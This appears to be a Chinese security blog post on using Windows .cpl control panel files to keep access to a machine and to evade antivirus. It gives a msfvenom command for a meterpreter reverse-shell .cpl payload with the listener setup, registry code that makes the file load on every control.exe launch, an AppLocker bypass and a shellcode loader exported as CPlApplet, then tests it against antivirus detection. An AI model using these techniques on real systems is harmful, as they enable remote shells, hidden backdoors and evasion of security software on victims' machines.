巧用cpl文件维权和免杀

前言

最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。

cpl文件

CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项
在这里插入图片描述

列入我们win+R输入main.cpl
在这里插入图片描述

将会打开控制面板中的鼠标属性
在这里插入图片描述

cpl文件本质是属于PE文件
在这里插入图片描述

但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。
在这里插入图片描述

如何打开cpl

1.双击或者win+r xxx.cpl2.control <文件名>3.rundll32 shell32.dll,Control_RunDLL <文件名>注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。

在这里插入图片描述

4.vbs脚本

Dim objSet obj = CreateObject("Shell.Application")obj.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl") 

在这里插入图片描述

5.js脚本

var a = new ActiveXObject("Shell.Application");a.ControlPanelItem("C:\\\Users\\\11793\\\Desktop\\\cpl.cpl"); 

在这里插入图片描述

如何自己制造一个cpl文件

最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名

BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul\_reason\_for\_call,                       LPVOID lpReserved                     ){    switch (ul\_reason\_for\_call)    {    case DLL\_PROCESS\_ATTACH:        WinExec("Calc.exe", SW\_SHOW);    case DLL\_THREAD\_ATTACH:    case DLL\_THREAD\_DETACH:    case DLL\_PROCESS_DETACH:        break;    }    return TRUE;} 

随便一种方式执行
在这里插入图片描述

这里既然可以弹出calc.exe,那么能不能执行自己的payload的呢,答案是肯定的。

cpl文件的应用

bypass Windows AppLocker

什么是Windows AppLocker:AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。

默认的Applocker规则集合,可以看到cpl并不在默认规则中:
在这里插入图片描述

开启Applocker规则:打开计算机管理,选择服务,将Application Identity服务开启
在这里插入图片描述

然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则
在这里插入图片描述

默认规则为:
在这里插入图片描述

假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行
在这里插入图片描述

绕过的方式有很多,这里只讲cpl文件完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd
在这里插入图片描述

msf直接生成cpl文件

生成cpl文件`msfvenom -p windows/meterpreter/reverse_tcp -b ‘\x00\xff’ lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl
将文件拖到本地并运行,msf监听
在这里插入图片描述

  • use exploit/multi/handler* set payload windows/meterpreter/reverse_tcp* set lhost 192.168.111.128* set lport 8877* exploit

  • 在这里插入图片描述

  • 这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。将cpl文件名称改为test.cpl创建一个项目,作用为修改注册表" style=“margin: auto” />

HKEY hKey;DWORD dwDisposition;char path\[\] = "C:\\\test.cpl";RegCreateKeyExA(HKEY\_CURRENT\_USER,"Software\\\Microsoft\\\Windows\\\CurrentVersion\\\Control Panel\\\Cpls", 0, NULL, 0, KEY\_WRITE, NULL, &amp;hKey, &amp;dwDisposition);RegSetValueExA(hKey, "test.cpl", 0, REG\_SZ, (BYTE*)path, (1 + ::lstrlenA(path))); 

不一定将cpl文件放到c盘更目录,可以自定义路径执行后
在这里插入图片描述

然后这里在开启control.exe时,test.cpl文件也会被打开。[

如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。
在这里插入图片描述

使用shellcode自己做一个cpl文件

直接上代码

#include "pch.h"#include "windows.h"extern "C" \_\_declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2){    MessageBoxA(0, NULL, "test", MB\_OK);    /* length: 835 bytes */    unsigned char buf\[\] = "shellcode";    LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM\_COMMIT | MEM\_RESERVE, PAGE\_EXECUTE\_READWRITE);    memcpy(Memory, buf, sizeof(buf));    ((void(*)())Memory)();}BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul\_reason\_for\_call,                       LPVOID lpReserved                     ){    switch (ul\_reason\_for\_call)    {    case DLL\_PROCESS\_ATTACH:    case DLL\_THREAD\_ATTACH:    case DLL\_THREAD\_DETACH:    case DLL\_PROCESS\_DETACH:        break;    }    return TRUE;} 

这是最最最最基础的loader先打开control.exe看看效果

在这里插入图片描述

看看查杀率
在这里插入图片描述

经过一系列处理后,找杀毒能力还比较强的360试一下
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值